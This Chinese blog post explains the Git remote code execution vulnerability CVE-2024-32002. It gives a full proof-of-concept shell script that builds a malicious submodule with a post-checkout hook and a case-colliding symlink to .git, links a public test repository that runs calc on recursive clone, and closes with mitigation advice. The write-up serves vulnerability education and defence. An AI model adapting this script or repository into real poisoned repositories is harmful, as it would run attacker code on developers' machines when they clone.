红蓝队已经开始布陷阱了，开源工具类别随意 git clone，一不小心就会直接触发 RCE

感觉怎么样？

不需要任何多余的操作

仅仅一条 git clone 命令，就弹出了 calc

看到这儿，你还敢随便在开源仓库上 clone 项目吗？

这就是5 月份披露的 Git RCE 漏洞

编号 CVE-2024-32002

接下来，就仔细看一下这个漏洞

此洞的利用条件门槛可以说是相当的低。

条件1：Git 的符号链接配置开启

不得不提一句，在 Windows 环境中，默认 git 是关闭这个配置的（但是也不排除有人曾经打开过，毕竟这是个全局配置），但是，在 Mac 环境中，git 的这个配置是默认开启的。

git config --global core.symlinks true

条件2：git clone 命令携带 --recursive 参数

这个参数，是递归 clone 的意思，也就是说，在一个 .git 的项目内如果还有其他 .git 项目，并且你想把它 clone 下来，就需要加这个参数。这个参数，不会很常用，但偶尔也会用到。

复现咱就在本地复现吧，要不然我怕你们到时候按照我的教程搞得 github 上全是恶意仓库，只弹 calc 也就罢了，万一再来两个马子，把我再送进去了...

要是乐意玩儿的，用我这个测试的远程仓库地址试试就行，放心，只弹 calc，没别的伤害，但是要保证符号链接全局开启（就是上面的条件1）

git clone --recursive https://github.com/AmbroseCdMeng/GoodTools.git

本地 git 环境复现，打开 git bash 直接运行：

git config --global core.symlinks true &&  tell_tale_path="$PWD/tell.tale" &&  git init hook &&  (    cd hook &&    mkdir -p y/hooks &&    cat > y/hooks/post-checkout <<-EOF &&    #! /bin/bash    calc.exe    EOF    git add y/hooks/post-checkout &&    git commit -m post-checkout  ) &&

  hook_repo_path="$(pwd)/hook" &&  git init captain &&  (    cd captain &&    git submodule add --name x/y "$hook_repo_path" A/modules/x &&    git commit -m add-submodule &&

    printf .git >dotgit.txt &&    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&    printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&    git update-index --index-info <index.info &&    git commit -m add-symlink  ) &&

    git clone --recursive captain hooked

这个漏洞利用的就是 git 的 submodule

也就是子模块。

因为 git 本身是允许在 git 仓库内再嵌套多个 git 仓库的。

它的大致原理

就是先创建一个 git 仓库

里面写入恶意代码

然后创建一个正常仓库

到这里，都是比较好理解的，我们直接看一下执行过程中仓库的结构图，来对比看一下变化

▲ 左半边是 captain 的结构，右半边是 hook 的结构

可以看到：

captain 是一个非常正常的空 git 项目

hook 有过一次提交记录，里面包含一个 y/hooks/post-checkout 文件，这个文件其实就是我们的恶意文件。

当执行 git submodule 命令时

git submodule add --name x/y "$hook_repo_path" A/modules/x 

▲ 左边是 captain，右边是 hook

可以看到：

captain 目录下多了一个 .gitmoudules 的配置文件，并且多了 A/modules/x/y/hooks/post-checkout 文件，这个文件，就是我们原本在 hook 仓库下的恶意文件，被当做子模块，加入到了 captain 的这个目录下。

而 .gitmoudules 配置文件中的内容，也能看出，这是一个子模块，来源于 hook 目录，目前保存在 captain 仓库的 A/modules/x 目录下，名为 x/y

[submodule "x/y"]  path = A/modules/x  url = D:/Home/CVE/demo/hook

继续往下看，接下来，创建了一个名为 dotgit.txt 的文件

写入了一个 .git 的文本

计算了它的 hash 值

并且写入了 index.info 文件中

重点来了

现在看，captain 的工作目录是这样的

继续，执行了这一行更新索引之后

git update-index --index-info <index.info

现在，git 索引已经更新了，也就是说，里面有一条 a > .git 的映射关系了

当执行 git clone --recursive xxx 时

git 先会 clone 主仓库 captain 到本地，初始化 git 索引

然后，根据主仓库的索引中子模块的位置 A/modules/x

再初始化子模块

但是

由于子目录路径 A/modules/x

恰好索引中又有 a -> .git

在 Windows 和 Mac 这种大小写不敏感的系统中，系统会认为 A 和 a 是同一个目录

于是，a 就会覆盖 A，直接指向 .git

如此，在子模块初始化之后

git 就会触发子模块中的钩子文件，也就是 hook 目录下的 post-checkout 文件

从而触发命令执行。

修复建议

目前，Git 官方已经修复该漏洞，具体的修复方案，参考

2.44.0 与 2.44.1 版本的代码变更

或者 2.45.0 与 2.45.1 代码的变更

大致修改了这几处（还有一些其他小改动就不贴图了）

1. 校验子模块的路径，不合法的直接退出程序

2. 创建子模块路径时跳过 . 和 .git 目录

3. 克隆子模块时检查同名文件是否存在

但是对于我们普通用户来说，修复方式就更简单了

1. 禁用 git 全局符号链接配置

git config --global core.symlinks false

2. 升级 git 至 2.44.1 或者 2.45.1 及以上版本

原文始发于微信公众号（网安小趴菜）：红蓝队已经开始布陷阱了，开源工具类别随意 git clone，一不小心就会直接触发 RCE